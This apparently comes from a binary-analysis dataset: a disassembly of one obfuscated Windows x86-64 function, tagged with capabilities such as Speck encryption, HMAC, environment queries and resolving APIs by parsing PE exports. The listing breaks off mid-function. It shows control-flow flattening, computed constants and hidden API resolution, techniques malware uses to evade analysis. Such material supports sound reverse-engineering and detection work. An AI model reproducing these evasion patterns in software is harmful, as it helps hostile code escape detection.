Function at 0x1400ca299
Capabilities:
Authenticate hmac
Encrypt data using speck
Get system information on windows
Hash data using murmur3
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0x1d3dca77
pushf
not eax
add eax, 0xc1f02df8
xor eax, 0xc947378a
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xe6bc6134
xor eax, 0xd9485e2f
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xe69f7d03
xor eax, 0x8d11ab04
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xc6f40131
xor eax, 0x9dc2eb65
rol eax, 0x88
popf
cmp eax, 0x29
jne 0x1400ca2fc
popf
pop rax
jmp 0x1400cbef0
cmp eax, 0
jne 0x1400ca30b
popf
pop rax
jmp 0x1400ca671
cmp eax, 3
jne 0x1400ca31a
popf
pop rax
jmp 0x1400ca964
cmp eax, 1
jne 0x1400ca329
popf
pop rax
jmp 0x1400ca75b
cmp eax, 0xd
jne 0x1400ca338
popf
pop rax
jmp 0x1400cb118
cmp eax, 0x1a
jne 0x1400ca347
popf
pop rax
jmp 0x1400cb7c7
cmp eax, 0xe
jne 0x1400ca356
popf
pop rax
jmp 0x1400cb18f
cmp eax, 0x31
jne 0x1400ca365
popf
pop rax
jmp 0x1400cc339
cmp eax, 0x19
jne 0x1400ca374
popf
pop rax
jmp 0x1400cb793
cmp eax, 8
jne 0x1400ca383
popf
pop rax
jmp 0x1400cadd5
cmp eax, 0x2a
jne 0x1400ca392
popf
pop rax
jmp 0x1400cbfbc
cmp eax, 0x17
jne 0x1400ca3a1
popf
pop rax
jmp 0x1400cb610
cmp eax, 0x1c
jne 0x1400ca3b0
popf
pop rax
jmp 0x1400cb89a
cmp eax, 0x2e
jne 0x1400ca3bf
popf
pop rax
jmp 0x1400cc1f6
cmp eax, 0x18
jne 0x1400ca3ce
popf
pop rax
jmp 0x1400cb6be
cmp eax, 0x2b
jne 0x1400ca3dd
popf
pop rax
jmp 0x1400cc077
cmp eax, 0x1b
jne 0x1400ca3ec
popf
pop rax
jmp 0x1400cb815
cmp eax, 0x2d
jne 0x1400ca3fb
popf
pop rax
jmp 0x1400cc1a8
cmp eax, 0x23
jne 0x1400ca40a
popf
pop rax
jmp 0x1400cbc58
cmp eax, 0x25
jne 0x1400ca419
popf
pop rax
jmp 0x1400cbd67
cmp eax, 0x32
jne 0x1400ca428
popf
pop rax
jmp 0x1400cc3d7
cmp eax, 0x13
jne 0x1400ca437
popf
pop rax
jmp 0x1400cb3e3
cmp eax, 0x33
jne 0x1400ca446
popf
pop rax
jmp 0x1400cc49f
cmp eax, 0x24
jne 0x1400ca455
popf
pop rax
jmp 0x1400cbcf7
cmp eax, 0x1e
jne 0x1400ca464
popf
pop rax
jmp 0x1400cb988
cmp eax, 0xc
jne 0x1400ca473
popf
pop rax
jmp 0x1400cb01d
cmp eax, 0x26
jne 0x1400ca482
popf
pop rax
jmp 0x1400cbe19
cmp eax, 0x27
jne 0x1400ca491
popf
pop rax
jmp 0x1400cbeab
cmp eax, 0x30
jne 0x1400ca4a0
popf
pop rax
jmp 0x1400cc290
cmp eax, 0x10
jne 0x1400ca4af
popf
pop rax
jmp 0x1400cb250
cmp eax, 0x37
jne 0x1400ca4be
popf
pop rax
jmp 0x1400cc67c
cmp eax, 9
jne 0x1400ca4cd
popf
pop rax
jmp 0x1400cae69
cmp eax, 0x39
jne 0x1400ca4dc
popf
pop rax
jmp 0x1400cc732
cmp eax, 0x16
jne 0x1400ca4eb
popf
pop rax
jmp 0x1400cb586
cmp eax, 0x3b
jne 0x1400ca4fa
popf
pop rax
jmp 0x1400cc7b9
cmp eax, 0xa
jne 0x1400ca509
popf
pop rax
jmp 0x1400caeba
cmp eax, 0x36
jne 0x1400ca518
popf
pop rax
jmp 0x1400cc5dd
cmp eax, 0x14
jne 0x1400ca527
popf
pop rax
jmp 0x1400cb488
cmp eax, 7
jne 0x1400ca536
popf
pop rax
jmp 0x1400cac61
cmp eax, 0x34
jne 0x1400ca545
popf
pop rax
jmp 0x1400cc4d9
cmp eax, 2
jne 0x1400ca554
popf
pop rax
jmp 0x1400ca7a7
cmp eax, 0x20
jne 0x1400ca563
popf
pop rax
jmp 0x1400cbac9
cmp eax, 0x1d
jne 0x1400ca572
popf
pop rax
jmp 0x1400cb91a
cmp eax, 0x11
jne 0x1400ca581
popf
pop rax
jmp 0x1400cb299
cmp eax, 0x35
jne 0x1400ca590
popf
pop rax
jmp 0x1400cc537
cmp eax, 0x3a
jne 0x1400ca59f
popf
pop rax
jmp 0x1400cc77d
cmp eax, 0x12
jne 0x1400ca5ae
popf
pop rax
jmp 0x1400cb331
cmp eax, 0x21
jne 0x1400ca5bd
popf
pop rax
jmp 0x1400cbb55
cmp eax, 0x38
jne 0x1400ca5cc
popf
pop rax
jmp 0x1400cc6f8
cmp eax, 0xb
jne 0x1400ca5db
popf
pop rax
jmp 0x1400caf92
cmp eax, 0xf
jne 0x1400ca5ea
popf
pop rax
jmp 0x1400cb1cc
cmp eax, 0x15
jne 0x1400ca5f9
popf
pop rax
jmp 0x1400cb4e6
cmp eax, 5
jne 0x1400ca608
popf
pop rax
jmp 0x1400caaa4
cmp eax, 6
jne 0x1400ca617
popf
pop rax
jmp 0x1400cab2c
cmp eax, 0x22
jne 0x1400ca626
popf
pop rax
jmp 0x1400cbc0d
cmp eax, 0x2c
jne 0x1400ca635
popf
pop rax
jmp 0x1400cc0c4
cmp eax, 0x1f
jne 0x1400ca644
popf
pop rax
jmp 0x1400cba33
cmp eax, 4
jne 0x1400ca653
popf
pop rax
jmp 0x1400caa0b
cmp eax, 0x2f
jne 0x1400ca662
popf
pop rax
jmp 0x1400cc25a
cmp eax, 0x28
jne 0x1400ca671
popf
pop rax
jmp 0x1400cbee3
mov byte [rsp + 0x18], r8b
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0x98
xor r15d, r15d
mov r12d, r15d
mov dword [rbp + 0x67], r15d
lea r9, [rbp + 0x67]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
jmp 0x1400ca6af
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400ca715
push rax
pushf
mov eax, 0x35f8d71f
pushf
not eax
add eax, 0x9209b3b0
xor eax, 0xd72d5a20
rol eax, 0x23
popf
pushf
not eax
add eax, 0xe34510a5
xor eax, 0xbb95c536
rol eax, 0x73
popf
pushf
not eax
add eax, 0xc0945196
xor eax, 0xb75bbf66
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xedd86c62
xor eax, 0xcb7c8699
rol eax, 0x73
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0x22b0380a
pushf
not eax
add eax, 0xf9340ae8
xor eax, 0xa41ca10a
rol eax, 0x86
popf
pushf
not eax
add eax, 0xede3a94f
xor eax, 0xfd094c3c
rol eax, 8
popf
pushf
not eax
add eax, 0xc678ebe1
xor eax, 0xba799d25
rol eax, 0x46
popf
jmp 0x1400ca2ed
nop word [rax + rax]
push rax
pushf
mov eax, 0xe845dc03
pushf
not eax
add eax, 0xb0362ab7
xor eax, 0xa85ff289
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xe2ba94ac
xor eax, 0xae0dfc6a
rol eax, 0x81
popf
pushf
not eax
add eax, 0x909c1753
xor eax, 0xb97db604
rol eax, 0xf4
popf
jmp 0x1400ca2ed
xor edx, edx
mov r8d, 0xe3650570
pushf
not r8d
add r8d, 0xf20e305a
xor r8d, 0xa63f1f73
rol r8d, 0xaf
popf
pushf
not r8d
add r8d, 0x9f72f1e3
xor r8d, 0xdde4b713
rol r8d, 0x41
popf
pushf
not r8d
add r8d, 0x9c32b0c2
xor r8d, 0xa9b05bb9
rol r8d, 0x91
popf
mov rcx, r12
jmp 0x1400ca7fe
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x67]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0xcd38644d
pushf
not r8d
add r8d, 0xa08caf5f
xor r8d, 0xd11df925
rol r8d, 0x39
popf
pushf
not r8d
add r8d, 0xeb5d30d3
xor r8d, 0x9e745048
rol r8d, 0xa4
popf
pushf
not r8d
add r8d, 0x86a7450c
xor r8d, 0xb3da12aa
rol r8d, 0xdf
popf
jmp 0x1400ca85f
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
lea r9, [rbp + 0x67]
mov r8d, dword [rbp + 0x67]
mov rdx, rax
mov ecx, 0xb6444d87
pushf
not ecx
add ecx, 0xa662a4d8
xor ecx, 0xa014ca4a
rol ecx, 0x20
popf
pushf
not ecx
add ecx, 0xe51a9790
xor ecx, 0xabae04dd
rol ecx, 0x62
popf
pushf
not ecx
add ecx, 0xd47a883f
xor ecx, 0xd9f28d95
rol ecx, 0x60
popf
jmp 0x1400ca8b8
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x1400ca91e
push rax
pushf
mov eax, 0x4c7fa4cd
pushf
not eax
add eax, 0xcc21c74e
xor eax, 0xec3cdc8e
rol eax, 0x75
popf
pushf
not eax
add eax, 0xd32d27e9
xor eax, 0xda68c1fb
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xd0ed6380
xor eax, 0xa13b1776
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xa065d6d2
xor eax, 0xb6e25f87
rol eax, 0x4b
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0x550eb2c3
pushf
not eax
add eax, 0xd1ca993e
xor eax, 0xf86265a7
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xe2ab99df
xor eax, 0xf5fb6538
rol eax, 0xd4
popf
pushf
not eax
add eax, 0x9f7c6df8
xor eax, 0xaa788209
rol eax, 0xf3
popf
jmp 0x1400ca2ed
test eax, eax
js 0x1400ca9b2
push rax
pushf
mov eax, 0xc81f9498
pushf
not eax
add eax, 0xd70e0b7b
xor eax, 0x85cbd7af
rol eax, 0x63
popf
pushf
not eax
add eax, 0xb3130d40
xor eax, 0xcf184108
rol eax, 0x49
popf
pushf
not eax
add eax, 0xc1335412
xor eax, 0xc4abdce4
rol eax, 0x74
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0xe088849a
pushf
not eax
add eax, 0xdf5bb447
xor eax, 0x99953357
rol eax, 0xff
popf
pushf
not eax
add eax, 0xaab68158
xor eax, 0x88d2a2e9
rol eax, 0x95
popf
pushf
not eax
add eax, 0xf3bf41a8
xor eax, 0xee097a43
rol eax, 0xe0
popf
pushf
not eax
add eax, 0x86cdd708
xor eax, 0x838283d9
rol eax, 0x13
popf
jmp 0x1400ca2ed
mov r13d, r15d
cmp dword [r12], r15d
jbe 0x1400caa5e
push rax
pushf
mov eax, 0xb4254829
pushf
not eax
add eax, 0x8cb2181a
xor eax, 0xa5d758a2
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xd0d63a5a
xor eax, 0xb74fba91
rol eax, 0xdd
popf
pushf
not eax
add eax, 0x8adc0b39
xor eax, 0xe73a23ea
rol eax, 0xd
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0x9c0ea66
pushf
not eax
add eax, 0xe9341b56
xor eax, 0xb6a2dde5
rol eax, 0x32
popf
pushf
not eax
add eax, 0x8208228e
xor eax, 0xf8b14869
rol eax, 0x30
popf
pushf
not eax
add eax, 0xc70189ba
xor eax, 0xd3d25440
rol eax, 0xe2
popf
jmp 0x1400ca2ed
mov esi, 0xbd3b2676
pushf
not esi
add esi, 0x94546329
xor esi, 0x9f194a15
rol esi, 0xd9
popf
pushf
not esi
add esi, 0xf1bb8f76
xor esi, 0xea8b8e83
rol esi, 0xeb
popf
push rax
pushf
mov eax, 0x495668b1
pushf
not eax
add eax, 0xe7b5f576
xor eax, 0x82f46b26
rol eax, 0x34
popf
pushf
not eax
add eax, 0x96db47b3
xor eax, 0xf0524da6
rol eax, 9
popf
pushf
not eax
add eax, 0xf51ba947
xor eax, 0xbb7c3f6d
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xfb205423
xor eax, 0xa75dc9c6
rol eax, 0x71
popf
jmp 0x1400ca2ed
mov eax, r13d
imul rcx, rax, 0x128
lea rdi, [rcx + r12]
mov qword [rbp + 0x7f], rdi
movzx ebx, word [rdi + 0x2e]
push rcx
not rcx
sub rbx, rcx
pop rcx
sub rbx, 1
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
lea rcx, [rbx + 0x30]
push r12
not r12
sub rcx, r12
pop r12
sub rcx, 1
call fcn.14006921f
mov r8, rax
lea rdx, [rbx + 0x30]
push r12
not r12
sub rdx, r12
pop r12
sub rdx, 1
lea rcx, [rbp - 0x29]
call fcn.1400ed668
nop
lea rcx, [rbp - 0x29]
cmp qword [rbp - 0x11], 0xf
cmova rcx, qword [rbp - 0x29]
lea rdx, [0x19b39f125]
pushf
sub rdx, 0x5b368c35
popf
jmp 0x1400cabb4
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x1400cac08
push rax
pushf
mov eax, 0x3c95fba5
pushf
not eax
add eax, 0xb4926a91
xor eax, 0x98d7642d
rol eax, 0x10
popf
pushf
not eax
add eax, 0x81157004
xor eax, 0x849ed453
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xd9688882
xor eax, 0xdcb470df
rol eax, 0xd9
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0x1762db44
pushf
not eax
add eax, 0xe449ca72
xor eax, 0x9d953b5c
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xd752e4f2
xor eax, 0xb99aa836
rol eax, 0x46
popf
pushf
not eax
add eax, 0xb3327402
xor eax, 0xef40ef24
rol eax, 0xb5
popf
pushf
not eax
add eax, 0x808c6a81
xor eax, 0xb0e6a72c
rol eax, 0x4a
popf
jmp 0x1400ca2ed
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], r15
mov qword [rbp - 0x31], r15
lea rcx, [rdi + 0x30]
call fcn.14006921f
mov r8, rax
lea rdx, [rdi + 0x30]
lea rcx, [rbp - 0x49]
call fcn.1400ed668
nop
lea rcx, [0x1834cfbb9]
pushf
sub rcx, 0x4349dc29
popf
jmp 0x1400cac9d
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 9], xmm0
mov qword [rbp + 7], r15
mov qword [rbp + 0xf], r15
mov rcx, rax
call fcn.14006921f
mov r8, rax
mov rdx, rbx
lea rcx, [rbp - 9]
call fcn.1400ed668
nop
lea rcx, [0x1b37d273e]
pushf
sub rcx, 0x737a07a2
popf
call fcn.14006921f
mov r8, rax
lea rdx, [0x1b6c4ceb6]
pushf
sub rdx, 0x76c1af1a
popf
lea rcx, [rbp - 9]
call fcn.14011ed8b
mov r14, rax
lea rcx, [0x1bbe21921]
pushf
sub rcx, 0x7bdef981
popf
call fcn.14006921f
mov rdi, rax
lea r15, [rbp - 0x49]
cmp qword [rbp - 0x31], 0xf
cmova r15, qword [rbp - 0x49]
mov rax, qword [rbp - 0x39]
cmp rdi, rax
ja 0x1400cad7c
push rax
pushf
mov eax, 0x13d14cfa
pushf
not eax
add eax, 0xcff3c6c0
xor eax, 0x975c6d6b
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xd2e966a0
xor eax, 0xefc1518d
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xd3f1ca8d
xor eax, 0xea473945
rol eax, 0x56
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0xb2fd0f15
pushf
not eax
add eax, 0x9a64681f
xor eax, 0xc656dcd2
rol eax, 7
popf
pushf
not eax
add eax, 0xcf5ce180
xor eax, 0xaed5c633
rol eax, 0
popf
pushf
not eax
add eax, 0x8c65ddb9
xor eax, 0x80b73dde
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x80ec1a72
xor eax, 0xb3eae019
rol eax, 0xa2
popf
jmp 0x1400ca2ed
sub rax, rdi
test rdi, rdi
jne 0x1400cae36
push rax
pushf
mov eax, 0x2bb00275
pushf
not eax
add eax, 0xac320cc5
xor eax, 0xc8757b22
rol eax, 0x6d
popf
pushf
not eax
add eax, 0x8cf980f8
xor eax, 0xd273c47d
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xa7c70a30
xor eax, 0xd99ff651
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xb4d9a691
xor eax, 0xeb33fd2c
rol eax, 0x6f
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0x7343cfd
pushf
not eax
add eax, 0xe269663e
xor eax, 0xe75bf14e
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xe0bc665e
xor eax, 0xc44988ad
rol eax, 0xd0
popf
jmp 0x1400ca2ed
xor r15d, r15d
mov ebx, r15d
jmp 0x1400cb1cc
lea rsi, [rax + r15]
lea r8, [rsi + 1]
sub r8, r15
mov edx, 0x3a6cf36
pushf
not edx
add edx, 0xf9f8b17b
xor edx, 0xf927060e
rol edx, 0xbf
popf
pushf
not edx
add edx, 0xb7daaae9
xor edx, 0xbe92beb1
rol edx, 0x6f
popf
pushf
not edx
add edx, 0xaa3be22e
xor edx, 0xe672dae7
rol edx, 0x4e
popf
mov rcx, r15
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x1400caf5f
push rax
pushf
mov eax, 0xcf635f6c
pushf
not eax
add eax, 0xd91a0a35
xor eax, 0xedb18767
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xd89eb8c1
xor eax, 0xf095c074
rol eax, 0x39
popf
pushf
not eax
add eax, 0xfe3fd24f
xor eax, 0x9fe6c229
rol eax, 0xa3
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0x472cbf38
pushf
not eax
add eax, 0xfe9300dc
xor eax, 0xb6f5ffcf
rol eax, 0x83
popf
pushf
not eax
add eax, 0xc7ca5775
xor eax, 0xbb2c6754
rol eax, 0xda
popf
jmp 0x1400ca2ed
mov r8, rdi
lea rdx, [0x180fe3065]
pushf
sub rdx, 0x40fb10c5
popf
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400cafea
push rax
pushf
mov eax, 0xe8f3f30b
pushf
not eax
add eax, 0xc356f659
xor eax, 0xa4762888
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xcb8355cd
xor eax, 0xb58b012d
rol eax, 0x7e
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0xea64f41b
pushf
not eax
add eax, 0xc1683a6e
xor eax, 0x826caf7d
rol eax, 0x4a
popf
pushf
not eax
add eax, 0x9a9c50bb
xor eax, 0xdaf79625
rol eax, 0x9b
popf
jmp 0x1400ca2ed
inc rbx
lea r8, [rsi + 1]
sub r8, rbx
mov edx, 0x7e4bc672
pushf
not edx
add edx, 0xa3f58305
xor edx, 0x98adf147
rol edx, 0x95
popf
pushf
not edx
add edx, 0xa675792a
xor edx, 0xebbddd60
rol edx, 0x3c
popf
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x1400cb0bf
push rax
pushf
mov eax, 0xaf94b2a4
pushf
not eax
add eax, 0xf04d619b
xor eax, 0xefceda08
rol eax, 0xce
popf
pushf
not eax
add eax, 0xa62cd359
xor eax, 0xdc47240d
rol eax, 0x63
popf
pushf
not eax
add eax, 0xc8632b01
xor eax, 0xb68447cd
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xdbe75b71
xor eax, 0x9f39e12c
rol eax, 0x92
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0xf79149f5
pushf
not eax
add eax, 0xd28883fa
xor eax, 0xfc9ceda1
rol eax, 0x70
popf
pushf
not eax
add eax, 0xadb06355
xor eax, 0xaafa8491
rol eax, 0x57
popf
pushf
not eax
add eax, 0xb7d38cad
xor eax, 0xd3bfc6b9
rol eax, 0xba
popf
pushf
not eax
add eax, 0x9a6f2e3d
xor eax, 0xf3ce82bf
rol eax, 0xdd
popf
jmp 0x1400ca2ed
mov esi, 0x1db86b33
pushf
not esi
add esi, 0x8793965f
xor esi, 0xb2a93e1b
rol esi, 0x95
popf
pushf
not esi
add esi, 0xa5c72532
xor esi, 0xccc5e181
rol esi, 0xb2
popf
pushf
not esi
add esi, 0xd0df2fea
xor esi, 0xa3266794
rol esi, 0xe4
popf
push rax
pushf
mov eax, 0x5cecefe3
pushf
not eax
add eax, 0x88a1e9d5
xor eax, 0x9f54499c
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xdd571fd0
xor eax, 0xc9d45e18
rol eax, 3
popf
jmp 0x1400ca2ed
mov rbx, 0xffffffffffffffff
xor r15d, r15d
push rax
pushf
mov eax, 0xc1612b2f
pushf
not eax
add eax, 0xe66872b6
xor eax, 0xd27b8d9d
rol eax, 0x54
popf
pushf
not eax
add eax, 0xa230f5a4
xor eax, 0xc0717dd4
rol eax, 0xa2
popf
jmp 0x1400ca2ed
mov rax, qword [r14 + 0x10]
cmp qword [r14 + 0x18], 0xf
jbe 0x1400cb20a
push rax
pushf
mov eax, 0x23860660
pushf
not eax
add eax, 0xd2f773b7
xor eax, 0xc8221f34
rol eax, 0x65
popf
pushf
not eax
add eax, 0xd4d70f9a
xor eax, 0xfa68c34d
rol eax, 0xc8
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0xdb82de8b
pushf
not eax
add eax, 0xed579d43
xor eax, 0x8e51aa7a
rol eax, 0x77
popf
pushf
not eax
add eax, 0xf91b5758
xor eax, 0xc025e1f4
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xb63ca493
xor eax, 0xeba9b8e9
rol eax, 0x55
popf
jmp 0x1400ca2ed
mov r14, qword [r14]
push rax
pushf
mov eax, 0x2c6122ad
pushf
not eax
add eax, 0xc4474fa1
xor eax, 0x9c2a7159
rol eax, 0x54
popf
pushf
not eax
add eax, 0xf2ebf866
xor eax, 0xc9dc94b2
rol eax, 0x35
popf
pushf
not eax
add eax, 0xc1369ce1
xor eax, 0xded829eb
rol eax, 0xd2
popf
jmp 0x1400ca2ed
mov qword [rsp + 0x20], rax
mov r9, r14
mov rdx, rbx
lea rcx, [rbp - 0x49]
call fcn.140095b2f
nop
mov rdx, qword [rbp + 0xf]
cmp rdx, 0xf
jbe 0x1400cb2fe
push rax
pushf
mov eax, 0xeab58890
pushf
not eax
add eax, 0xf593b9c1
xor eax, 0xcf4de0be
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xb416ad12
xor eax, 0x9fd63ffe
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xabb3d966
xor eax, 0x87d4c1ab
rol eax, 0xef
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0xc610fba2
pushf
not eax
add eax, 0xcb6e4735
xor eax, 0xfdd777b2
rol eax, 0xb4
popf
pushf
not eax
add eax, 0x806d4a3d
xor eax, 0x945dc199
rol eax, 0xc7
popf
jmp 0x1400ca2ed
inc rdx
mov rcx, qword [rbp - 9]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400cb39d
push rax
pushf
mov eax, 0x66234cb0
pushf
not eax
add eax, 0xe5e7c827
xor eax, 0xd3b94930
rol eax, 0x61
popf
pushf
not eax
add eax, 0xf05fdfb5
xor eax, 0xdb3f897b
rol eax, 0x62
popf
pushf
not eax
add eax, 0xcc64978b
xor eax, 0x8808af5b
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xb281a8bf
xor eax, 0xa7696660
rol eax, 0xc
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0x58e65939
pushf
not eax
add eax, 0x8fe50952
xor eax, 0xa2cce394
rol eax, 0xa3
popf
pushf
not eax
add eax, 0x956a9170
xor eax, 0xf14d753e
rol eax, 0xda
popf
pushf
not eax
add eax, 0xaf3377c7
xor eax, 0x8b290dc6
rol eax, 0x26
popf
jmp 0x1400ca2ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400cb442
push rax
pushf
mov eax, 0x7d4eed21
pushf
not eax
add eax, 0xf7053c05
xor eax, 0xc2b4f068
rol eax, 0x74
popf
pushf
not eax
add eax, 0xcce07b07
xor eax, 0xd5d53199
rol eax, 0x87
popf
pushf
not eax
add eax, 0xc9bbe8eb
xor eax, 0xd0aa47d2
rol eax, 0x30
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0xc0d24c61
pushf
not eax
add eax, 0xcee7b0d2
xor eax, 0xec87015f
rol eax, 0x97
popf
pushf
not eax
add eax, 0xb98432fb
xor eax, 0xe457b2c6
rol eax, 0x94
popf
pushf
not eax
add eax, 0x9258adbd
xor eax, 0xe16ee167
rol eax, 0x14
popf
jmp 0x1400ca2ed
call fcn.1400ae1e9
push rax
pushf
mov eax, 0x3b120013
pushf
not eax
add eax, 0xef453b86
xor eax, 0xd8913a51
rol eax, 0x16
popf
pushf
not eax
add eax, 0x9c303b95
xor eax, 0xd717ec60
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xe756572a
xor eax, 0xfc148eba
rol eax, 0x69
popf
pushf
not eax
add eax, 0x9e817929
xor eax, 0x8d4093f1
rol eax, 0x51
popf
jmp 0x1400ca2ed
lea rcx, [rbp - 0x49]
cmp qword [rbp - 0x31], 0xf
cmova rcx, qword [rbp - 0x49]
xor edx, edx
lea r8d, [rdx + 1]
jmp 0x1400cb4fb
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov r11, rax
cmp word [rax], si
jne 0x1400cb540
push rax
pushf
mov eax, 0xa46c365d
pushf
not eax
add eax, 0xdda5f50b
xor eax, 0xc51b1ff1
rol eax, 0xab
popf
pushf
not eax
add eax, 0xe2d3805f
xor eax, 0xcdc8937d
rol eax, 0x19
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0xf591c6a5
pushf
not eax
add eax, 0x8e6b55d9
xor eax, 0xc1ed141b
rol eax, 0x37
popf
pushf
not eax
add eax, 0x814dba4d
xor eax, 0xbc9d7be1
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x88048634
xor eax, 0x86d2770b
rol eax, 0xe8
popf
jmp 0x1400ca2ed
movsxd rcx, dword [rax + 0x3c]
cmp dword [rcx + rax], 0x4550
jne 0x1400cb5dd
push rax
pushf
mov eax, 0x4c5e5fc1
pushf
not eax
add eax, 0xb65f3cdb
xor eax, 0xea62c6db
rol eax, 0xec
popf
pushf
not eax
add eax, 0xfaac554c
xor eax, 0xa3551e12
rol eax, 0x38
popf
pushf
not eax
add eax, 0x85a372a4
xor eax, 0x9627cd70
rol eax, 0xa5
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0xee9a7875
pushf
not eax
add eax, 0xd283e354
xor eax, 0x8b1b30b0
rol eax, 0x54
popf
pushf
not eax
add eax, 0x98a3cb9c
xor eax, 0xdebd3c76
rol eax, 0xe8
popf
jmp 0x1400ca2ed
mov eax, dword [rcx + rax + 0x88]
test eax, eax
je 0x1400cb678
push rax
pushf
mov eax, 0x7e086396
pushf
not eax
add eax, 0xb18194e0
xor eax, 0xaa3e3584
rol eax, 0xc0
popf
pushf
not eax
add eax, 0x8d14fc16
xor eax, 0x90eae3a4
rol eax, 0x59
popf
pushf
not eax
add eax, 0xe0462d4b
xor eax, 0xa529bfdc
rol eax, 0x14
popf
pushf
not eax
add eax, 0xe7819f12
xor eax, 0xd7a7799b
rol eax, 0x9f
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0xc1d0617d
pushf
not eax
add eax, 0xe8ad13ed
xor eax, 0xe8360809
rol eax, 0x15
popf
pushf
not eax
add eax, 0xfa1f2672
xor eax, 0xcb286cda
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xdc90faef
xor eax, 0xa908cceb
rol eax, 0xb0
popf
jmp 0x1400ca2ed
mov ebx, dword [rax + r11 + 0x1c]
lea rdi, [r11 + rbx]
mov r9d, dword [rax + r11 + 0x20]
push r11
not r11
sub r9, r11
pop r11
sub r9, 1
mov esi, dword [rax + r11 + 0x24]
push r11
not r11
sub rsi, r11
pop r11
sub rsi, 1
mov r10d, r15d
test ebx, ebx
je 0x1400cb73a
push rax
pushf
mov eax, 0xb973be6b
pushf
not eax
add eax, 0x852fbf27
xor eax, 0xcb6034fe
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xf2c35715
xor eax, 0xf1b9e17c
rol eax, 0x60
popf
pushf
not eax
add eax, 0x80f708c0
xor eax, 0x8043fbe9
rol eax, 0xdb
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0xc8fc8bd9
pushf
not eax
add eax, 0xa227b1cf
xor eax, 0xba20de14
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xbaa0640b
xor eax, 0xa84f4cce
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x858181cf
xor eax, 0xb9bff473
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xf39aea38
xor eax, 0xd490d5c7
rol eax, 0xaa
popf
jmp 0x1400ca2ed
nop
push rax
pushf
mov eax, 0x5608e10e
pushf
not eax
add eax, 0xe86db4c4
xor eax, 0xb19320ae
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x963a5e9a
xor eax, 0xe31f3aa1
rol eax, 0xc3
popf
jmp 0x1400ca2ed
mov r8d, dword [r9]
push r11
not r11
sub r8, r11
pop r11
sub r8, 1
mov rax, qword [rbp + 0x6f]
sub r8, rax
